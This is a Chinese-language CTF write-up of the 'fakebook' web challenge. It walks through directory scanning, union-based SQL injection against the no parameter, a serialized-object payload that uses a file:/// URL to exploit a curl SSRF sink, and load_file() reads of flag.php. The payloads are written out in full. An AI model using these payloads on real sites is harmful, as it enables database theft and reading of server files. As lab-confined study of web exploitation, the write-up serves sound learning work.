一.審題
這邊先進行測試,login和join都失敗了,所以沒獲取到什么消息。
二.dirsearch工具掃描
所以拿dirsearch掃一下,看看有沒有什么文件可以訪問。
python3 dirsearch.py -u url
可以看到當前目錄下存在flag.php,robots.txt等,訪問flag.php,發現空白,所以flag應該是注釋,接下去訪問一下robots.txt
三.訪問可疑文件
這邊顯示有一個不被允許的備份文件,訪問看一下什么內容。
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
這邊題目想給我們的是:同過url去傳,并且對于blog有格式要求,需要在末尾拼接域名。
所以從這里我們就可以知道怎么去使用join的這個功能。
四.使用網站功能,尋找滲透點
查看源代碼,發現有一個url可以點擊跳轉。所以我們繼續瀏覽整個網站
發現有一個get方式的傳參,參數為no,所以在次進行測試,方向:sql注入,偽協議,模板注入等
這邊是sql注入。
五.采用sql注入
查看是否存在sql注入
:
1 and 1=1
正常顯示。接下去確認有幾行
1 order by 1
1 order by 2
1 order by 3
1 order by 4
1 order by 5
....
在order by 5時顯示為錯誤,order by 4還是正常顯示。
接下去看哪里有注入點
-1++union++select 1,2,3,4
方法一:
發現在username下有個正常回顯,所以注入點在這里
看數據庫:
-1++union++select 1,database(),3,4
顯示出數據庫名:fakebook
接下去獲取表Table:
?no=-1++union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
成功獲取到表:users
接下去查column:
-1++union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'
接下去看一下data:
-1++union++select 1,group_concat(data),3,4 from fakebook.users
這邊看到的是一個序列化的對象。我們這邊是去提取數據庫fakebook中表users的第四列data的值。
這邊放一個對比,第一個圖是單純數據庫有的數據,第三個是我們通過反序列化去進行拼接,username顯示2是因為我們的占位符,顯示這邊有滲透點,然后第二個是四列都去使用占位符,所以我們這邊就可以使用反序列化進行,讓其去讀取我們想要的文件
-1++union++select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
通過查看頁面的源代碼可以獲取到flag:
這邊在放兩個對比,第一個是通過我們數據庫里我們自己join的序列化值去顯示的,因為我們join的都是不存在的所以我們這邊都是空,并且這邊是使用base64進行編碼的。
這邊講一下,為什么第四列的滲透為什么會使用這個file:///協議,這邊是通過他的哪個bak文件中,代碼中使用的是curl
方法二:
因為我們在進行測試時就確定第二列具有注入點,所以我們可以利用這個去看我們的sql版本以及一些信息。如:version(),user(),database()等
如這邊發現他的權限是root權限,所以我們可以使用load_file()這個數據庫函數
load_file()
?是 MySQL/MariaDB 中用于讀取服務器本地文件的內置函數,在 SQL 注入場景中常用于獲取敏感文件內容。
user()
這是 MySQL/MariaDB 的內置函數,用于返回當前數據庫連接的用戶信息(格式通常為?用戶名@主機名
,如?root@localhost
)。這里用它替換了第二列的占位符,目的是獲取數據庫用戶權限信息。
所以這邊就通過得到他的版本為MariaDB并且權限為root最高權限,所以可以通過load_file()函數獲取該flag.php
-1++union++select 1,load_file('/var/www/html/flag.php'),3,4
看一下源代碼,出結果。
這道題目,我是看了wp的,在加上自己的總結,從這邊還是學到不少東西,而且感覺這題就是每一步的設計都是很巧妙,環環相扣的感覺